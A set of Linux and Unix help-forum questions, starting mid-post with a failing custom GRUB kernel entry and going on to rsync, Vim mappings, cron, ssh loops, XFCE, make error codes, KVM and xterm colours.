--no-floppy --fs-uuid --set=root 92ec153c-cb92-4300-8d2a-f63b747ddd35                 fi                 echo    'Loading Linux 3.13.0-24-generic ...'                 linux   /boot/vmlinuz-3.13.0-24-generic root=UUID=92ec153c-cb92-4300-8d2a-f63b747ddd35 ro find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US quiet                 echo    'Loading initial ramdisk ...'                 initrd  /boot/initrd.img-3.13.0-24-generic         }      So, I went ahead and added the following lines to **/etc/grub.d/40_custom** ( i just changed lines 1, 14, 15 and 17)                   menuentry 'MyNewKernel' {             recordfail             load_video             insmod gzio             insmod part_msdos             insmod ext2             set root='hd0,msdos1'             if [ x$feature_platform_search_hint = xy ]; then               search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  92ec153c-cb92-4300-8d2a-f63b747ddd35             else               search --no-floppy --fs-uuid --set=root 92ec153c-cb92-4300-8d2a-f63b747ddd35             fi             echo    'Loading My New Kernel ...'             linux   /boot/vmlinuz-3.14.5 root=UUID=92ec153c-cb92-4300-8d2a-f63b747ddd35 ro recovery nomodeset find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US             echo    'Loading initial ramdisk ...'             initrd  /boot/initrd.img-3.14.5     }      and ran                   sudo update-grub         sudo reboot      Did not work! The error message said                   ALERT! /dev/disk/by-uuid/92ec153c-cb92-4300-8d2a-f63b747ddd35 does not exist.         Dropping to a shell!      So I've tried to replace the **UUID** by **/dev/sda1** resulting in the following file.                   menuentry 'MyNewKernel' {                 recordfail                 load_video                 insmod gzio                 insmod part_msdos                 insmod ext2                 set root='hd0,msdos1'                 if [ x$feature_platform_search_hint = xy ]; then                   search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  /dev/sda1                 else                   search --no-floppy --fs-uuid --set=root /dev/sda1                 fi                 echo    'Loading Linux 3.13.0-24-generic ...'                 linux   /boot/vmlinuz-3.14.5 root=/dev/sda1 ro recovery nomodeset find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US                 echo    'Loading initial ramdisk ...'                 initrd  /boot/initrd.img-3.14.5         }      That did not work either, and gave me a very similar error message.                   ALERT! /dev/sda1 does not exist.         Dropping to a shell!      * * * I think I'm doing some stupid mistake, but I can't figure out what since this is my first time. I would appreciate any help. Thanks for reading through the long post. Please let me know if you need any more information. PS: I can't post pictures due to a lack of reputation.


title: Vim mapping behaving strangely

text: I have the mapping shown below, in my `~/.vimrc`. However, this mapping also hijacks the `Enter` key. So, whenever I hit `Enter` it executes the `tabedit %` command. I am using gvim 7.3               nnoremap <C-m> :tabedit %<CR>      Can anyone fix this so that it doesn't hijack the `Enter` key.


title: How do you compare two folders and copy the difference to a third folder?

text: You've got three folders:   * folder **current** , which contains your current files   * folder **old** , which contains an older version of the same files   * folder **difference** , which is just an empty folder How do you compare **old** with **current** and copy the files which are different (or entirely new) in **current** to **difference**? * * * I have searched all around and it seems like a simple thing to tackle, but I can't get it to work in my particular example. Most sources suggested the use of **rsync** so I ended up with the following command:               rsync -ac --compare-dest=../old/ new/ difference/      What this does however, is copies all the files from **new** to **difference** , even those which are the same as in **old**. In case it helps (maybe the command is fine and the fault lies elsewhere), this is how I tested this:   1. I made the three folders.   2. I made several text files with different contents in **old**.   3. I copied the files from **old** to **new**.   4. I changed the contents of some of the files in **new** and added a few additional files.   5. I ran the above command and checked the results in **difference**. I have been looking for a solution for the past couple of days and I'd really appreciate some help. It doesn't necessarily have to be using rsync, but I'd like to know what I'm doing wrong if possible.


title: What are the benefits of the new teaming driver?

text: When compiling a 3.3 kernel, I noticed that a new driver called teaming was added to the networking system. According to the relevant commit teaming is a userspace-driven alternative to bonding. Has anyone been testing this out? Is it faster or better than the old tried- and-true bonding driver? What would be the advantages of changing?


title: Execute a command on multiple hosts, but only print command if it is successful?

text: Here's what I want to do. I want to check over 100 hosts and see if a file exists on that host. If the file does exist, then I want to print the hostname and the output of the command. In this example example, assume that I have three hosts: host1.example.org host2.example.org host3.example.org . The file `/etc/foobar` exists on host2.example.org, but not on host1.example.org or host3.example.org .   1. I want to run `ls -l /etc/foobar` on each host in the list.   2. If this file exists on that host, then print the hostname and the output of the command.   3. If the file does not exist on that host, then don't print anything. I don't want the extra noise.                HOSTLIST="host1.example.org host2.example.org host3.example.org"     for HOST in $HOSTLIST     do         echo "### $HOST"         ssh $HOST "ls -ld /etc/foobar"     done      Ideal output would be:               ### host2.example.org     drwx------ 3 root root 4096 Apr 10 16:57 /etc/foobar      But the actual output is:               ### host1.example.org     ### host2.example.org     drwx------ 3 root root 4096 Apr 10 16:57 /etc/foobar     ### host3.example.org      I don't want the lines for host1.example.org or host3.example.org to print. I am experimenting braces to contain the output spit out by `echo` and `ssh`, but I can't figure out the magic syntax to do what I want. I am sure that I have done this in the past without control characters,               HOSTLIST="host1.example.org host2.example.org host3.example.org"     for HOST in $HOSTLIST     do         # If 'ls' shows nothing, don't print $HOST or output of command         # This doesn't work         { echo "### $HOST" && ssh $HOST "ls -ld /etc/foobar" ; } 2>/dev/null     done


title: Why is Ruby using 100% CPU in startup?

text: I installed GitLab on an EC2 instance a while ago, compiling Ruby from scratch:               $ ruby -v      ruby 1.9.3p194 (2012-04-20 revision 35410) [x86_64-linux]     $ which ruby     /usr/local/bin/ruby      What's really strange is that _whenever_ I start anything with this Ruby interpreter, such as a GitLab backup job, restarting the GitLab worker, etc. my CPU usage spikes to near 100% usage for a long period of time even before I see any output from Ruby. It seems that it's working so hard just to load the libraries required by GitLab. How can I debug this and find out what in the world is taking so long? I don't think that it's swapping either, as memory usage for the ruby process isn't so high:                 PID USER      PR  NI  VIRT  RES  SHR S %CPU $MEM    TIME+  COMMAND     31888 git       20   0  342m 111m 7144 R 98.9 19.0   3:57.57 ruby      Why is it killing my processor in startup?


title: Change $TERMINFO in bashrc script

text: I'm trying to set `TERMINFO="$HOME/.terminfo"` within my `.bashrc` script. The reason being is that my terminal isn't in the system `terminfo` location, and so I have its `terminfo` file in my home directory.   The problem here is that the change doesn't take effect for the current shell, only subshells. I'm guessing it's because readline is being initialized before bash reads the `.bashrc` file. So is there any way to solve this issue? Perhaps some way to re-initialize readline so the changed `$TERMINFO` takes effect?   I'm trying to avoid doing an `exec bash` after setting it, as then I have to make sure I don't end up in a re-exec loop, and that's just ugly (though doing `exec bash` after setting it does work). EDIT: This is **not** a issue running the script. I know for a fact the `.bashrc` script is being run and that `$TERMINFO` is being set. Running `echo $TERMINFO` after the shell has finished starting shows the correct value. EDIT2: It appears this might be bash or readline library version related. I can't duplicate the issue with bash-4.2.20 and readline-6.2_p1, but I can with bash-3.2 and readline-5.1.3. "No" is an acceptable answer if it's not possible. But it would be nice to know what's going on that causes the answer to be "no".


title: unable to install rpm packages in gnome3 (openSUSE 12.1)

text: I have to install wicd from its source rpm package but `Apper-sentinel` keeps waiting at `license agreement requirement` showing message `waiting for service to start`. This (see the last comment in this post) thread has the solution from KDE session, but i can't find anything similar to configure-destop > file associations in GNOME-3 anywhere to move up "Install/Remove Software"..


title: How do I find out why cron is not running my jobs?

text: I'm using Ubuntu 14.04, and the cron daemon is running:               # ps ax | grep cron     822 ?        Ss     0:00 cron      but it is not executing any jobs. I was previously getting entries in `/var/log/syslog` such as this:               2014-05-04T11:47:01.839754+01:00 localhost CRON[29253]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ))      but now there are no cron-related entries. I was also getting entries like this in `/var/log/auth.log`:               2014-05-04T11:47:01.839183+01:00 localhost CRON[29252]: pam_unix(cron:session): session opened for user root by (uid=0)     2014-05-04T11:47:13.495691+01:00 localhost CRON[29252]: pam_unix(cron:session): session closed for user root      but again, now there are no cron-related entries. I am not aware that anything has changed. I have tried restarting cron:               # service cron restart     cron stop/waiting     cron start/running, process 24907      I tried using `crontab -e` to add a cron job `* * * * * date >> /tmp/somefile` which worked, but it installed a new crontab in `/var/spool/cron/crontabs/root`, whereas I want cron to use the file in `/etc/crontab`. Is there any debug option I can use, or a log somewhere that might give an error message that I can investigate?


title: What ports are essential and should generally be allowed on a Linux system?

text: I'm running a desktop computer, but one with high threat risk. I've blocked all ports using a firewall except: HTTP, HTTPS, DNS, one port for torrent client. Do any common processes in distros like Ubuntu, Linux Mint, Debian use other ports that I need to allow?


title: osx server, windows client, running emacs opens it on server not client

text: I've installed emacsformacosx on my OSX box. I'd like to shove my macmini in a data center and run it headless. I've gotten x-windows working. If I run xeyes, it displays on my Windows 7 client. Emacs works from the command line on the osx box. However, if I start up emacs from the windows client, it pops it up on the server instead of the client. What am I doing wrong?


title: Why doesn't my screen lock in XFCE?

text: I'm trying out XFCE on Arch Linux, and for some reason the Lock Screen option in the session menu doesn't do anything. Neither does running `xflock4` at the command line (it exits 0 with no output). `xfce4-session` is running. Do I need to install a screensaver package or something?


title: Kicking a process from a USB-Serial port

text: I have a application which is using the USB-serial port. Occasionally on shutdown the port cannot be opened by another instance of the program, and up until now the only way I know of the program being able to access it again is through reboot.This is undesirable How to I regain control of the USB-serial port? Either by unlocking it,(marking is as unused) or by killing all processes using it?


title: Portable bootable installation of Ubuntu, synchronized with my main computer

text: I have a difficult problem that I'm trying to solve. Currently, I am using Mac OSX and I want to create a full Ubuntu partition on my home computer; this is fine. I'm currently doing a lot of development work, both from my home as well as at University, where there are a lot of machines and each machines cannot install specific software or libraries. What I am wanting to do is have an external HD, that I can plug into my main computer (at home) and synchronise the Ubuntu image so I can take it into University and just boot Ubuntu from my external HD. I can then work from this image (WIll have all the files, software, libraries etc..) and all of the work that I do whilst I university when I come home, I can then transfer this onto my main computer.. SO that I'm always up-to-date no matter where I am. I cannot use remote desktop since my home computer isn't always on. Could anyone therefore provide any tutorials or guidance to how I can do this?


title: How can I automatically update my monitor layout in XFCE?

text: I have a laptop that's normally docked to a large monitor. When docked, I want to use the large monitor as the primary display, with the laptop screen as a secondary display off to the right. When undocked, the laptop screen is the only display. XFCE doesn't seem to have that kind of multi-monitor support built in. I found ARandR, which let me set up my monitors the way I want. I can use ARandR to save profiles for docked and undocked configurations (which are really just shell scripts that invoke xrandr). But how do I get those profiles to apply automatically when the laptop is docked and undocked? Should I try to create a udev rule that detects the docking station? Is there a better way?


title: Where can I find a list of 'make' error codes?

text: I am trying to compile a program written in Fortran using `make` (I have a **Makefile** and, while in the directory containing the **Makefile** , I type the command `$ make target`, where "target" is a system-specific target specification is present in my **Makefile**. As I experiment with various revisions of my target specification, I often get a variety of error messages when attempting to call `make`. To give a few examples:               make[1]: Entering directory     /bin/sh: line 0: test: too many arguments     ./dpp   angfrc.f > angfrc.tmp.f     /bin/sh: ./dpp: Permission denied     make[1]: *** [angfrc.o] Error 126     make[1]: Leaving directory     make: *** [cmu60] Error 2      and               make[1]: Entering directory     /bin/sh: line 0: test: too many arguments     ./dpp -DSTRESS -DMPI -P -D'pointer=integer'-I/opt/mpich_intel/include  angfrc.f > angfrc.tmp.f     /bin/sh: ./dpp: Permission denied     make[1]: *** [angfrc.o] Error 126     make[1]: Leaving directory      make: *** [mpich-c2] Error 2      and               make[1]: Entering directory      /bin/sh: line 0: test: too many arguments     ./dpp -DSTRESS -DMPI -P -D'pointer=integer' -I/opt/mpich_intel/include  angfrc.f > angfrc.tmp.f     /bin/sh: ./dpp: Permission denied     make[1]: *** [angfrc.o] Error 126     make[1]: Leaving directory      make: *** [mpi-intel] Error 2      Do you know how I can find a list of what the error codes, such as "Error 126" and "Error 2," mean? I found this thread on another website, but I am not sure what the reply means. Does it mean that there is no system-independent meaning of the `make` error codes? Can you please help me? Thank you.


title: How to switch back and forth between users quickly on a single terminal?

text: I'd like to switch to another user without logging out the first user, then log in as a third user without logging out the other two, and so on, then switch between all users quickly. I'd like to insert passwords only once for each user obviously. Is there an analogous way to do this like with processes, where I can send them to the background and foreground with ctrl-z and fg as needed?


title: How to install KVM on CentOS 6

text: I can't install kvm on CentOS. I got these errors:               [root@localhost etc]# yum groupinstall kvm -y     Loaded plugins: fastestmirror, presto     Loading mirror speeds from cached hostfile     * base: ftp.tlk-l.net     * epel: ftp.tlk-l.net     * extras: ftp.tlk-l.net     * rpmforge: ftp-stud.fht-esslingen.de     * updates: ftp.tlk-l.net     Setting up Group Process     Checking for new repos for mirrors     epel/group_gz | 201 kB 00:00     Warning: Group kvm does not exist.      No packages in any requested group available to install or update I also tried               [root@localhost etc]# yum install kvm     Loaded plugins: fastestmirror, presto     Loading mirror speeds from cached hostfile     * base: ftp.tlk-l.net     * epel: ftp.tlk-l.net     * extras: ftp.tlk-l.net     * rpmforge: ftp-stud.fht-esslingen.de     * updates: ftp.tlk-l.net     Setting up Install Process     No package kvm available.     Error: Nothing to do      Is there a kvm package for CentOS?


title: xterm colors are too bright

text: I've just started using dwm a couple days ago and I'm using xterm (uxterm) as a terminal emulator. However, I'm noticing that certain applications (like vi/vim, ls, and others) that output in color are using bright colors and (sometimes) bold fonts. My terminal's background color is a dark pastel so I'd like the colors to match. How can I change these colors, is there a way to use #xxxxxx colors?